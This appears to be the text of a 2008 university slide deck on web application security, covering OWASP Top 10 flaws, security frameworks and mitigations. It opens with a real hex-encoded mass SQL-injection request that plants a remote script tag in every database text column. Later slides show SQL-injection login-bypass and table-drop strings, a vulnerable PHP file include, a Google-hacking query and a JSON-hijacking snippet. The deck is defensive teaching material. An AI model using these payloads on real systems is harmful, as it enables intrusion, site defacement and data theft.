Web Application Security 10/28/2008 Neil Matatall, Security Programmer Analyst Marina Arseniev, Director – Enterprise Architecture, Security, and Data.

Web Application Security 10/28/2008 Neil Matatall, Security Programmer Analyst Marina Arseniev, Director – Enterprise Architecture, Security, and Data Management Services University of California, Irvine

Puzzle – What is this? "GET /programs/biosafety/bioSafety_handBook/Chapter%206- Bloodborne%20Pathogens%20Human%20Tissue?;DECLARE%20@S%20CH AR(4000);SET%20@S=CAST(0x4445434C4152452040542076617263686172 28323535292C40432076617263686172283430303029204445434C41524520 5461626C655F437572736F7220435552534F5220464F522073656C65637420 612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320 612C737973636F6C756D6E73206220776865726520612E69643D622E69642 0616E6420612E78747970653D27752720616E642028622E78747970653D39 39206F7220622E78747970653D3335206F7220622E78747970653D3233312 06F7220622E78747970653D31363729204F50454E205461626C655F437572 736F72204645544348204E4558542046524F4D20205461626C655F4375727 36F7220494E544F2040542C4043205748494C4528404046455443485F5354 415455533D302920424547494E20657865632827757064617465205B272B40 542B275D20736574205B272B40432B275D3D5B272B40432B275D2B272722 3E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F73 646F2E313030306D672E636E2F63737273732F772E6A73223E3C2F736372 6970743E3C212D2D2727207768!6!5726520272B40432B27206E6F74206C6 96B6520272725223E3C2F7469746C653E3C736372697074207372633D2268 7474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A732 23E3C2F7363726970743E3C212D2D272727294645544348204E4558542046 524F4D20205461626C655F437572736F7220494E544F2040542C404320454 E4420434C4F5345205461626C655F437572736F72204445414C4C4F434154 45205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);

Answer "GET /programs/biosafety/bioSafety_handBook/Chapter%206- Bloodborne%20Pathogens%20Human%20Tissue?;DECLARE %20@S%20CHAR(4000);SET%20@S=CAST(0xDECLARE @T varchar(255)'@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T'@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"> <!--''')FETCH NEXT FROM Table_Cursor INTO @T'@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor http://www.dolcevie.com/js/converter.html

Do you know? 75% of attacks today happen at the Application (Gartner). Desktop augmented by Network and then Web Application Security. Many “easy hacking recipes” published on web. Security holes in the web application layer can make a perfectly patched and firewalled server completely vulnerable. 3 out of 4 vendor apps we tested had serious SQL Injection bugs! The cost and reputation savings of avoiding a security breach are “priceless”

Web Application Vulnerabilities – Current Landscape Obama Campaign Web site hacked Olympics Athlete Age Scandal Key Trends –Application Security Trends Report Q1 2008Application Security Trends Report Q1 2008

High Schools hacked by High Schoolers - Security Incidents http://www.privacyrights.org May 200717,400 identities breached –Two high school seniors recently hacked into the district's computer network potentially compromising the personal information including Social Security numbers of students and employees. March 2008 35,000 identities breached –An Atlantic Technical High School senior hacked into a district computer and collected Social Security numbers and addresses of district employees. May 200850,000 identities breached –A 15-year-old student gained access to files on a computer at Downingtown West High School. Private information, including names, addresses and Social Security numbers, of more than 50,000 people were accessed. The student apparently used a flash drive to save the personal data of about 40,000 taxpayers and 15,000 students.

Agenda Essentials of a Comprehensive Web Security Program Security Frameworks – ISO, NIST, PCI… OWASP’s Top 10 list Additional Vulnerability Topics Integrating Security into the SDLC Procurement Practices Tools

Essentials of a Comprehensive Web Security Program - Principles* Security Foundation –Principle 1. Establish a sound security policy as the “foundation” for design –Principle 2. Treat security as an integral part of the overall system design. –Principle 3. Clearly delineate the physical and logical security boundaries governed by associated security policies –Principle 4. Ensure that developers are trained in how to develop secure software Risk Based –Principle 5. Reduce risk to an acceptable level –Principle 6. Assume that external systems are insecure –Principle 7. Identify potential trade-offs between reducing risk and increased costs and decrease in other aspects of operational effectiveness –Principle 8. Implement tailored system security measures to meet organizational security goals –Principle 9. Protect information while being processed, in transit, and in storage. –Principle 10. Consider custom products to achieve adequate security –Principle 11. Protect against all likely classes of “attacks.” Ease of Use –Principle 12. Where possible, base security on open standards for portability and interoperability –Principle 13. Use common language in developing security requirements. –Principle 14. Design security to allow for regular adoption of new technology… –Principle 15. Strive for operational ease of use. NIST Special Publication 800-27 Rev A - Engineering Principles for Information Technology Security (A Baseline for Achieving Security), Revision A ( http://csrc.nist.gov/publications/nistpubs/800-27A/SP800-27-RevA.pdf)

Principles - Continued Increase Resilience Principle 16. Implement layered security (Ensure no single point of vulnerability). Principle 17. Design and operate an IT system to limit damage and to be resilient in response. Principle 18. Assure that the system is, and continues to be, resilient in the face of expected threats Principle 19. Limit or contain vulnerabilities. Principle 20. Isolate public access systems from mission critical resources (e.g., data, processes, etc.). Principle 21. Use boundary mechanisms to separate computing systems and network infrastructures. Principle 22. Design and implement audit mechanisms to detect unauthorized use / incident investigations. Principle 23. Develop and exercise contingency or disaster recovery procedures to ensure availability Reduce Vulnerabilities Principle 24. Strive for simplicity Principle 25. Minimize the system elements to be trusted Principle 26. Implement least privilege. Principle 27. Do not implement unnecessary security mechanisms. Principle 28. Ensure proper security in the shutdown or disposal of a system. Principle 29. Identify and prevent common errors and vulnerabilities. Design with Network in Mind Principle 30. Implement security through a combination of measures distributed physically and logically. Principle 31. Formulate security measures to address multiple overlapping information domains. Principle 32. Authenticate users and processes to ensure appropriate access control decisions … Principle 33. Use unique identities to ensure accountability

Security Frameworks* ITIL The Information Technology Infrastructure Library (ITIL) is a set of concepts and techniques for managing information technology (IT) infrastructure, development, and operations. Security is not covered in great detail. CobIT Control Objective over Information and Related Technology (CobIT), issued by the IT Governance Institute and now in its fourth edition, is an internationally applicable and accepted IT governance and control framework for aligning IT with business objectives, delivering value and managing associated risks. It provides a reference framework for management, users, and IS audit, control and security practitioners ISO 27001:2005 and 17799 The International Organization for Standardization (ISO) is the world’s largest developer of standards. This organization has released over 15,000 standards. ISO 27001 consists of short control statements across many areas of security. It helps identify, manage and quantify the range of threats to which information is regularly subjected. ISO 17799 covers a similar scope but provides longer explanations and examples of appropriate controls. Where ISO 27001 helps companies identify what they should do, ISO 17799 provides additional guidance regarding what companies need to think about as they work to achieve appropriate levels of security. The intention of ISO 27001 is to create a level playing field that can be applied worldwide. Benchmarking against it can be a useful indicator of core security controls and practices, and some ISO 27001 controls address areas frequently requested by auditors under Sarbanes-Oxley Section 404 and other regulatory requirements. NIST The National Institute of Standards and Technology (NIST) is a non-regulatory federal agency within the U.S. Commerce Department’s Technology Administration. In 2002, the Federal Information Security Management Act (FISMA) set aside money for NIST to develop new standards for securing government agencies. Of particular focus is the NIST 800-53 standard, which describe important fundamentals. *http://www.theiia.org/chapters/index.cfm/view.news_detail/cid/98/newsid/8376 and http://www.27001iso.com/content.asp?s1detail=4323 and http://cio.nist.gov/itsd/http://www.27001iso.com/content.asp?s1detail=4323

Security Frameworks* HIPAA Health Insurance Portability and Accountability Act of 1996 (HIPAA, Title II) establishes national standards for the privacy and security of electronic health care information. Example Self-Assessment Question – Have you implemented audit controls, hardware, software, and/or procedural mechanisms that record and examine activity in information systems that contain or use EPHI (Electronic Protected Health Information)? PCI-DSS The Payment Card Industry Data Security Standards is a guideline to help organizations that process card payments prevent credit card fraud, cracking and various other security vulnerabilities and threats. A company processing, storing, or transmitting payment card data must be PCI DSS compliant or risk losing their ability to process credit card payments and being audited and/or fined. Merchants and payment card service providers must validate their compliance periodically.* *http://en.wikipedia.org/wiki/PCI_DSS

ISO 27001 Controls Security policy - This provides management direction and support for information security and represents top management decision regarding the balance of risk and control required in your organization. Organization of assets and resources - To help you manage information security within the organization Asset classification and control - To help you identify your assets and appropriately protect them Personnel security - To reduce the risks of human error, theft, fraud or misuse of facilities Physical and environmental security - To prevent unauthorized access, damage and interference to business premises and information Communications and operations management - To ensure the correct and secure operation of information processing facilities Access control - To control access to information Systems development and maintenance - To ensure that security is built into information systems Information security incident management - to ensure continuous improvement of information security in the organization. Business continuity management - To counteract interruptions to business activities and to protect critical business processes from the effects of major failures or disasters Compliance - To avoid breaches of any criminal and civil law, statutory, regulatory or contractual obligations, and any security requirement Specific examples include; acceptable use and control of databases, control of network system user access rights, locks on doors (types of), equipment location, cabling security, Email policy and enforcement, capacity planning, controls against malicious code, information back-up, network security, third party agreements, contracts of employment, electronic commerce, privacy of personal information, business continuity plans, information leakage, publicly available information, fault and security event logging, input and output data validation, user authentication for external connections etc.

ISO Security Focus ISO/IEC 27001:2005 “Information Security Requirements” –http://www.iso.org/iso/catalogue_detail?csnumber=42103http://www.iso.org/iso/catalogue_detail?csnumber=42103 ISO/IEC 27001:2005 “Specification for an Information Security Management System” –http://www.iso27001security.com/html/27001.htmlhttp://www.iso27001security.com/html/27001.html ISO/IEC 27001 & 27002 “Implementation Guidance and Metrics” –http://www.iso27001security.com/ISO27k_implementation_g uidance_1v1.pdfhttp://www.iso27001security.com/ISO27k_implementation_g uidance_1v1.pdf

ISO/IEC 27001:2005 “Specification for an Information Security Management System” - http://www.iso27001security.com/html/2 7001.html http://www.iso27001security.com/html/2 7001.html

NIST Recommended Security Controls for Federal Information Systems* TABLE 1: SECURITY CONTROL CLASSES, FAMILIES, AND IDENTIFIERS IDENTIFIER FAMILY CLASS 1.AC Access Control Technical 2.AT Awareness and Training Operational 3.AU Audit and Accountability Technical 4.CA Certification, Accreditation, and Security Assessments Management 5.CM Configuration Management Operational 6.CP Contingency Planning Operational 7.IA Identification and Authentication Technical 8.IR Incident Response Operational 9.MA Maintenance Operational 10.MP Media Protection Operational 11.PE Physical and Environmental Protection Operational 12.PL Planning Management 13.PS Personnel Security Operational 14.RA Risk Assessment Management 15.SA System and Services Acquisition Management 16.SC System and Communications Protection Technical 17.SI System and Information Integrity Operational The seventeen security control families in NIST Special Publication 800-53 are closely aligned with the seventeen security- related areas in FIPS 200 specifying the minimum security requirements for protecting federal information and information systems. Families are assigned to their respective classes based on the dominant characteristics of the controls in that family. Many security controls, however, can be logically associated with more than one class. For example, CP-1, the policy and procedures control from the Contingency Planning family, is listed as an operational control but also has characteristics that are consistent with security management as well. *http://csrc.nist.gov/publications/nistpubs/800-53-Rev2/sp800-53-rev2-final.pdf

PCI DSS – Payment Card Industry Data Security Standard * Build and Maintain a Secure Network –Requirement 1: Install and maintain a firewall configuration to protect cardholder data –Requirement 2: Do not use vendor-supplied defaults for system passwords and other security parameters Protect Cardholder Data –Requirement 3: Protect stored cardholder data –Requirement 4: Encrypt transmission of cardholder data across open, public networks Maintain a Vulnerability Management Program –Requirement 5: Use and regularly update anti-virus software –Requirement 6: Develop and maintain secure systems and applications Implement Strong Access Control Measures –Requirement 7: Restrict access to cardholder data by business need-to-know –Requirement 8: Assign a unique ID to each person with computer access –Requirement 9: Restrict physical access to cardholder data Regularly Monitor and Test Networks –Requirement 10: Track and monitor all access to network resources and cardholder data –Requirement 11: Regularly test security systems and processes Maintain an Information Security Policy –Requirement 12: Maintain a policy that addresses information security * https://www.pcisecuritystandards.org/index.shtmlhttps://www.pcisecuritystandards.org/index.shtml

PCI-DSS – Self-Assessment Questionnaire D and Attestation of Compliance – 27 pages!* Section 6.5(a) Are all web applications developed based on secure coding guidelines such as the Open Web Application Security Project guidelines? Section 6.5(b) Is custom application code reviewed to identify coding vulnerabilities? Section 6.5(c) Is prevention of common coding vulnerabilities covered in software development processes, including the following? –6.5.1 Unvalidated input, 6.5.2 Broken access control, 6.5.3 Broken authentication and session management, 6.5.4 Cross-site scripting attacks, 6.5.5 Buffer overflows, 6.5.6 Injection flaws, 6.5.7 Improper error handling? REQUIRED After June 30, 2008 - Section 6.6 – Are all web-facing applications protected against known attacks by applying either of the following methods? –Having all custom application code reviewed for common vulnerabilities by an organization that specializes in application security –Installing an application layer firewall in front of web-facing applications https://www.pcisecuritystandards.org/docs/saq_d_v1-1.doc

Themes of this Talk NEVER trust user input! Always validate! –This includes headers! –Verify the type and length of parameters Follow the rules! Use GET and POST the way they were intended Syntactic sugar and “clever” programming tricks can lead to security holes Always, always, always, use whitelists instead of blacklists Use the principle of least privileges

OWASP’s Top 10 List 1.Cross Site Scripting (XSS) 2.Injection Flaws a) SQL Injection, XPATH Injection, etc 3.Malicious File Execution (remote file inclusion) 4.Insecure Direct Object Reference 5.Cross Site Request Forgery (CSRF) 6.Information leakage and Improper Error Handling 7.Broken Auth’n and Session Management 8.Insecure Cryptographic Storage 9.Insecure Communications 10.Failure to Restrict URL Access From OWASP Top 10: The Ten Most Critical Web Application Security VulnerabilitiesOWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

Cross-Site Scripting (XSS) Attacks Malicious code that can change the look and function of a legitimate web application –Originates from old phishing attacks but less obvious and more dangerous to the user/victim –More widespread now because of move to more rich Internet applications using dynamic content and JavaScript and the latest AJAX trend

Cross-Site Scripting (XSS) Attacks

The Impact of XSS Data residing on the web page can be sent anywhere in the world Facilitates many other types of attacks –Cross-Site Request Forgery (CSRF), Session Attacks (more later) Your site’s behavior can be hijacked –E.g. Hill-Obama website

Our first demo… Phishing with XSS Stored XSS Attack

Preventing XSS Escape all user input when it is displayed –Escaping converts the output to harmless html entities becomes <script> but still looks like –Methods: Java Standard Tag Llibrary (JSTL) org.apache.commons.lang.StringEscapeUtils Ensure your filter uses a white list approach –Filters based on blacklisting have historically been flawed E.g. Ruby on Rails sanitize method –New encoding schemes can easily bypass filters that use a blacklist approach Do not accept and reflect unsolicited input –Reflecting every parameter for confirmation pages –Printing out the session/request parameters in error pages Great XSS resource: http://ha.ckers.org/xss.html

UCLA Security Incident 30,000 people affected directly; 800,000 notifications sent out 12/2006 Unsupported/forgotten legacy web application was targeted with escalated database privileges Web application vulnerability exposed data online using SQL injection Hacked server was then used to gain access to more sensitive servers

Impact of SQL Injection - Dangerous At best: you can leak information Depending on your configuration, a hacker can –Delete, alter or create data –Grant access to the hacker silently –Escalate privileges and even take over the OS

SQL Injection Attacks “SQL injection is a security vulnerability that occurs in the database layer of an application. Its source is the incorrect escaping of dynamically-generated string literals embedded in SQL statements. “ (Wikipedia)

SQL Injection Attacks Login Example Attack –Text in blue is your code, Text in orange is the hacker input –SQL Query in Web application authentication code: “SELECT * FROM users WHERE login = ‘” + userName + “’ and password= ‘” + password + “’;” –Hacker logs in as: ‘ or ‘’ = ‘’; -- SELECT * FROM users WHERE login = ‘’ or ‘’ = ‘’; -- '; and password=‘’; –Hacker deletes the users table with: ‘ or ‘’ = ‘’; DROP TABLE users; -- SELECT * FROM users WHERE login = ‘’ or ‘’=‘’; DROP TABLE users; --'; and password=‘’; SQL Injection examples are outlined in: –http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdfhttp://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf –http://www.unixwiz.net/techtips/sql-injection.htmlhttp://www.unixwiz.net/techtips/sql-injection.html

SQL Injection Demo… Numerical SQL Injection String SQL Injection Blind SQL Injection

Preventing SQL injection Use Prepared Statements (aka Parameterized Queries) –“select * from accounts where id = “ + id vs –“select * from accounts where id =?” Validate input –Strong typing If the id parameter is a number, try parsing it into an integer –Business logic validation If you are expecting a telephone number, test it with a Regular Expressions Use the principle of least privileges –If the query is reading the database, do not run the query as a user with update permissions (dbo, drop, etc) –Quiz: Is running a Web Application as the Database System Admin “sa” account a good practice? Don’t display SQL error messages of any kind to the user ESCAPE questionable characters (ticks, --,semi-colon, brackets, etc.)

Injection Impacts More Than SQL “Injection Flaw” is a blanket term SQL Injection is most prevalent Other forms: –XPath Injection –Command Injection –LDAP (Lightweight Directory Access Protocol) Injection –DOM (Document Object Model) Injection –JSON (Javascript Object Notation) Injection –YAML (Yaml Ain’t a Markup Language) Injection –Log Spoofing –On and on and on…

Another Injection Demo XPath Injection Command Injection Log Spoofing

Malicious File Execution Happens when code is executed on the server from an non- trusted source –All web application frameworks are vulnerable to malicious file execution if they accept filenames or files from the user. Typical examples include:.NET assemblies which allow URL file name arguments, or code which accepts the user’s choice of filename to include local files. –PHP is particularly vulnerable to remote file include (RFI) attack through parameter tampering with any file or streams based API Classic example: –Hacker visits a website that allows uploads –Hacker uploads a malicious code –Hacker learns directory structure and sends the path as a parameter –PHP code is executed on the server include $_REQUEST[‘filename’];

Impact Code runs as the current user for the web server –Can modify, delete anything the user has access to –Can install rootkits –Can take over the entire server if misconfigured (a.k.a. the web server runs as root)

Solution Architect and design application to avoid it. Never allow the design to use user- supplied input in any filename for any server-based resource (such as images, XML and XSL transform documents, or script inclusions). Never use a parameter to execute a Server Side Include directly Add firewall rules to prevent web servers making new connections to external web sites and internal systems. Isolate web server in its own VLAN or private subnet. Use an indirect object reference map –For example, where a partial filename was once used, consider a hash of the partial reference. Instead of : – English use – English –Consider using salts to prevent brute forcing of the indirect object reference. Alternatively, just use index values such as 1, 2, 3, and ensure that the array bounds are checked to detect parameter tampering. Validate - check any user supplied files or filenames taken from the user for legitimate purposes, which cannot obviate other control

Insecure Direct Object Reference A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, database record, or key, as a URL or form parameter. Attackers can manipulate those references to access other objects without authorization. Fancy term for parameter tampering Involves modifying parameters to access unauthorized materials E.g. /BankAccount.jsp?acct_nmbr=123 –The hacker modifies the parameter to view another users account

Demo Bypass Data Layer Access Control

Solution Properly validate data! –Cookie data, URL parameters, all HTML Form data (even hidden, select, radio and checkbox types) –Restricting length of HTML text boxes, options in select boxes, and JavaScript validation can all be easily sidestepped and are not secure –All input data MUST be validated server side for each request – client side validation is EASILY bypassed Do not expose internals to the user –Such as IDs (if possible/necessary) Use an indirect reference map with hard to guess keys (hash) –POST /BankAccount.jsp?acct_nmbr=d83OJdm3 –The server then uses the key to get the real value Key: d83OJdm3 value: 123

Use Proper Authorization Architect your application to check authorization with every request Back to the bank example –Before: select * from accounts where account_number = ? –After: select * from accounts where account_number = ? and user_id =?

Cross Site Request Forgery (CSRF) Occurs when an authenticated user unknowingly initiates a request The request is handled as if it was intentional Commands are executed in the context of the victim

CSRF Is Very Dangerous CSRF attacks are very difficult to track –The request comes from the users IP address so it is difficult to hunt down the hacker The hacker is essentially given all of the user’s privileges XSS facilitates CSRF via “Link Injection” Usually happens without the user being aware!

CSRF Example A hacker posts to a message board containing an image tag – An unsuspecting user logs into yourbank.com and authenticates The user then visits said message board A request is issued from the victims browser to the banks website The banks website transfers the users money to the hackers account

Cross Site Request Forgery Demo CRSF Demo

Solution Add a secondary authentication mechanism –Such as an impossible to guess token Eliminate XSS attacks –XSS becomes more powerful when your application is vulnerable to XSS Require a confirmation page before executing potentially dangerous actions You should be using POST as your form action and only accept POST requests on the server for sensitive data !!! –Incoming CSRF requests will fail since the parameter is in the URL and not the post body

Post vs. Get DO use POST for every action that changes the server state –And reject all non-POST methods –Most search engines won’t crawl POST forms –Helps prevent duplicate submissions DO NOT use GET for anything that changes the server state or contains sensitive information –GET requests are logged, in their entirety, in the web server access logs (public on Apache by default) –Also shows up in the browser history –For example GET /login?username=me&password=suparsekretpasswerd

Information Leakage and Improper Error Handling ANY information you give to a hacker CAN and WILL be used to hack your site Remove passwords or other revealing information in source code Application / Database Error Messages Misconfigured servers This information may be indexed by search engines!

Application Error Messages

Misconfigured, Default Settings, Unpatched Systems By default, you may already be leaking information! Includes all “infrastructure” applications –Web Server (Apache) Access logs are public by default Directory listing is enabled by default –Application Server (Tomcat, PHP, Coldfusion, etc) –Database Server (MySQL, MS-SQL, etc) Public accounts enabled by default –3 rd party applications (PHP message board, webmail, etc) Hackers look for easy access to your server –Exploit an known vulnerability if infrastructure application doesn’t have latest patches –Gain access to server using default credentials –Use default installed “snoop” or example pages to learn more about your server

Forced Directory Browsing Try to force directory browsing by eliminating anything past the various “/” in the URLs of your web application –If directory browsing is allowed on your web server, files you don’t want public could be displayed or at the least give the hacker more information about your system robots.txt files are the first place hackers look –Robots.txt is web accessible and contains URLs you don’t want indexed by a search engine. This might be the kind of data hackers want –Use access controls instead

Insecure Web-Accessible Files Make sure all files in web-accessible directories are safe to be seen by public –No spreadsheets, data files, or configuration files with sensitive data (i.e. SSNs, health data, financial data, passwords) Don’t keep old/unused copies of files –Data files or source code files that won’t get interpreted by application server (easy to guess and view source) i.e. viewRecords.jsp.bak ; showEmployees.php.old ; updateRecord.asp.20061101 ; database.conf

Google Hacking Popularized by johnny.ihackstuff.com Using Google search engine and advanced query abilities to find insecure data files and misconfigured/unpatched servers indexed on the web Wikto (Sensepost) or SiteDigger (Foundstone) are free tools that can be used along with ihackstuff’s Google Hack Database to see if anything from your domain is indexed

Google Hacking Demo

"admin account info" filetype:log

Broken Auth’n and Session Management Make sure the user is who they say they are Make sure the user cannot hijack or create bogus sessions

Authentication Checks Always communicate over SSL –Especially so with Basic Authentication! Never store passwords in plaintext –Encrypt or Hash (preferred) Architect applications to check every request to see that the auth’n data is still valid Issue a new session token to the authenticated user If you absolutely must use “remember me” functionality, use a difficult to guess auth’ Always use a reasonable session timeout

Demo Basic Authentication Demo Spoofing an Authentication Cookie

Hardening Auth’n Every request to each page of a web application should be revalidated for proper authenticated and authorized access Check validity of authentication cookie on each request, also validate original IP address is current request IP and age since created or last checked is acceptable before allowing access Also make sure the authenticated user is authorized to access your application (using internal database of users, LDAP, authorization service, etc) on each request

Session Attacks Session Fixation: The hacker predicts a valid session key (usually via phishing) Session Hijacking: The hacker masquerades as another user by stealing the users session id (usually via XSS)

Demos Session Fixation Session Hijacking (Great demo, not covered in this session)Session Hijacking

Solution Use built in session management! –Most application servers do a pretty good job of this Use secure randomly generated session keys to make prediction impossible –Don’t expose the user to session ids if possible Use reasonable session timeouts

Insecure Cryptographic Storage Use standard encryption methods –They are standards for a reason! Use strong standard encryption methods –Stop using MD5, SHA1, DES –Use SHA-256, AES, RSA etc Never store passwords in plaintext Use proper access control to sensitive information Don’t store information if possible

Unencrypted Data All sensitive data used by an application should be encrypted in databases and configuration files –AES encryption is current standard (avoid DES or simple hashing) –Exception: Storing passwords. Always hash these rather than encrypting them Offers an extra layer of protection if hacker gets into your application or server –Examples: SSN or financial account data in databases Passwords in configuration files

Insecure Communication Sensitive information being sent over an unencrypted channel can be snooped very easily (including email!) Use a SSL to pass sensitive information to browsers Encrypt information sent in email Encrypt authentication: Remember the basic authentication demo?

Unencrypted Communication Every time sensitive data is sent to or retrieved from the web server to client browser, communication should be encrypted using SSL so hackers cannot snoop data –URL should use https:// –Examples: Login pages that send password Application pages that submit or view sensitive data (SSN, financial account number, health data, etc)

Failure to Restrict URL Access Allowing users to perform restricted actions Can be caused by: –Improper authentication –Incorrect authorization –Unprotected admin areas Usually caused by easy to guess URLs

Additional Topics Concurrency Problems Web Service Security AJAX Security Caching Concerns

Thread Safety Web applications are by nature multithreaded Access to unsynchronized shared resources can cause unexpected results Use automated tools to reliably test –Tough to do by hand!

Impacts of Threading Problems One user’s information can be displayed to another user –Or even worse, one users information gets stored as another user’s Can cause unexpected application behavior

Thread Safety Demo Thread Safety Problems

The Problem (Java Code) // this.current user corresponds to a class field this.currentUser = request.getParameter (USER_NAME, ""); if (!"".equals(currentUser)) { doActionThatBlocksForAWhile(); String query = "SELECT * FROM user_system_data WHERE user_name = '" + currentUser + "'";...snip.... } This is actually a double-whammy! Who sees the “other” mistake?

Solutions Every thread gets its own copies of local variables –Does not apply to fields (or static variables) Use immutable objects whenever possible –Immutable objects cannot be changed Use synchronized access objects –E.g. Java: Hashtable, Vector, etc –Vs HashMap, ArrayList, etc

Web Services Web Services allow multiple applications to interface remotely –Promotes interoperability Fairly new topic Will be a major issue as organizations SOAify “Testing can be more challenging due to not having a ‘normal’ interface” –Gunnar Peterson

REST v SOAP REST Built INTO HTTP “Lite” Relies on Basic Auth Relies on SSL SOAP Built ON TOP of HTTP “High Overhead” WS-Security Standards More flexible See a nice diagram of the SOA StackSOA Stack

REST REpresentative State Transfer Uses HTTP structure Pitfalls: –Must use SSL to authenticate (see Basic Authentication Demo) –Must use MAC codes to verify integrity Advantages: –No dependencies for security; uses built in infrastructure –Encryption is done at the network layer

SOAP SOAP security benefits from being heavily standardized when compared to most other technologies –Managed by OASIS –Interoperability was of the upmost importance Security is managed by a “Handler Chain” –Handlers are independent and can selectively apply “security” –Order matters! The server will execute each Handler in the reverse order as they are applied on the client. Incorrect execution order can lead to garbage data! Can use Kerberos, X.509, etc certificates for authentication Provides end-to-end security at the Application Layer –Also means each message is secured individually –Can be done over SSL or can selectively encrypt portions of the message Can use a variety of authentication mechanisms See WS-Security Spec

SOAP Basics Always validate input (yes, again) –The input from a web service call is just as susceptible to malicious input Use libraries for common actions (Don’t re-invent the wheel) –There are libraries for “conversations” Analogous to a “session” in web applications –Authentication, Digital Signatures, Encryption, Timestamps, etc Secure your WSDL –Your WSDL leaks the interface to your web services Use proper access controls methods Defend against XDoS (XML Denial-of-service) –DO NOT use DTDs – vulnerable to infinite recursion –Throttle incoming messages From Security Concepts, Challenges, and Design Considerations for Web Services IntegrationSecurity Concepts, Challenges, and Design Considerations for Web Services Integration

SOAP Standards WS-SercureConversation –Provides a “session” to the stateless SOAP WS-Policy –set of specifications that describe the capabilities and constraints of the security policies on intermediaries and end points and how to associate policies with services and end points WS-Reliability –a protocol that allows SOAP messages to be delivered reliably between distributed applications in the presence of software component, system, or network failures XML Signatures and Encryption –Protects your message’s integrity and privacy respectively Many more…

AJAX Security Cutting edge in terms of web interfaces and security practices Susceptible to “shortcut” issues related to inexperienced developers Difficult! Easily overused when traditional methods are not only safer, but functional

AJAX Request Lifecycle XmlHTTPRequest Response (text, JSON, XML, etc) There is nothing special about an XHR request other than its asynchronicity

Potential Issues With AJAX Responses are sent to the browser, JavaScript code updates the page Be careful what you send back –Do not leak information Do NOT trust values that were fed via AJAX Update code is CLIENT side –The user can see the code being executed –Can take advantage or code more easily

Tips Do NOT overuse AJAX Do processing on the server side if possible –Send raw html back to the client Do not return more information than is necessary to complete the request Always validate your input!

AJAX Demos JSON Injection XML Injection DOM Injection

JavaScript Hijacking Attack vector mostly specific to AJAX XSS + CSRF = JavaScript Hijacking Exploits JavaScript’s flexibility –You are free to override ANYthing in JavaScript including the base object constructor! –Exploits your trust in the “same-origin policy” Fortify's White Paper

Same-Origin Policy Wikipedia: It prevents a document or script loaded from one "origin" from getting or setting properties of a document from a different "origin". Can be bypassed using the tag to retrieve JSON

How does it work? The user visits an unfriendly site and executes the following JavaScript function Object() { this.id setter = function (x){ doBadStuff (x) } } –The hacker overrides the JavaScript default behavior The unfriendly site makes a request to a friendly site – –Similar to CSRF, if the user has authenticated the cookies are sent with the request (exploits your trust in the same origin policy) Suppose the request returns JSON –[{“id”:”123”, “password”:”educause”,“salary”:”4000000”}] The returned JSON gets executed, the overridden setter hook gets called

“Reverse” JavaScript Hijacking and Mashups In mashups, many AJAX responses will contain a function reference at the end of a response to promote interoperability The user visits a friendly website and gets XSS’d –The malicious code overrides the returned method –Code is executed in the context of the friendly page “An application can be mashup-friendly or it can be secure, but it cannot be both.”

Solution Two strategies (Fortify Software recommends that you implement both) 1.Declining Malicious Requests Require a valid “request id” Use POST (but you are breaking the rules!) –Only defends one type of attack 2.Preventing Direct Execution of the response. Insert code that nullifies the overridden method –“the legitimate client application can take advantage of the fact that it is allowed to modify the data it receives before executing it, while a malicious application can only execute it using a tag.” –Wrap the objects in /* [{stuff}]*/: intercepted values are not interpreted Remove the nullifying code Use parseJSON instead of eval “An application can be mashup-friendly or it can be secure, but it cannot be both.”

Solution (Easy way) Do NOT use JSON as your transfer language! JSON is a special form of JavaScript, thus anything can be included Use XML (or another benign markup language) –XML is NOT executed no matter what –The problem becomes trivial

Browser Page Cache Pages with sensitive data should not be cached: page content is easily accessed using browser’s history Use the following tags to disable page caching: Be aware of differences between browsers! –Do-not-cache tags may not apply to binary content and may differ between platforms and browsers Many documents are stored in temporary files on desktop after viewing – MS Excel as an example. Can be viewed on public kiosk machines!

Browser History Sensitive data should not be included as a parameter in the URL of any web pages –http://www.uci.edu/getdata.jsp?ssn=333224444&u cinetid=johnsmith&password=blahhttp://www.uci.edu/getdata.jsp?ssn=333224444&u cinetid=johnsmith&password=blah Stored and viewable in client browser’s history Stored in web server access logs Use HTTP POST (not GET) requests to pass parameters to your application

Browser Page Cache & History

Browser Cookies Sensitive data should not be stored in cookies –Cookies are stored on client browser, can be viewed by user/hacker, and possibly sent unencrypted if not using SSL Firefox plugin: Use non-persistent cookies (that disappear once a browser is closed) instead of persistent ones.

NIST SDLC OWASP refers to NIST Special Publication 800-27 Rev A - Engineering Principles for Information Technology Security (A Baseline for Achieving Security), Revision A * Initiation: During the initiation phase, the need for a system is expressed and the purpose of the system is documented. Activities include conducting an impact assessment in accordance with FIPS-199 (http://csrc.nist.gov/publications/fips/fips199/FIPS-PUB-199-final.pdf).http://csrc.nist.gov/publications/fips/fips199/FIPS-PUB-199-final.pdf Development/Acquisition: During this phase, the system is designed, purchased, programmed, developed, or otherwise constructed. This phase often consists of other defined cycles, such as the system development cycle or the acquisition cycle. Activities include determining security requirements, incorporating security requirements into specifications, and obtaining the system. Implementation: During implementation, the system is tested and installed or fielded. Activities include installing/turning on controls, security testing, certification, and accreditation. Operation/Maintenance: During this phase, the system performs its work. Typically, the system is also being modified by the addition of hardware and software and by numerous other events. Activities include security operations and administration, operational assurance, and audits and monitoring. Disposal: The disposal phase of the IT system life-cycle involves the disposition of information, hardware, and software. Activities include moving, archiving, discarding or destroying information and sanitizing the media. *http://csrc.nist.gov/publications/nistpubs/800-27A/SP800-27-RevA.pdf

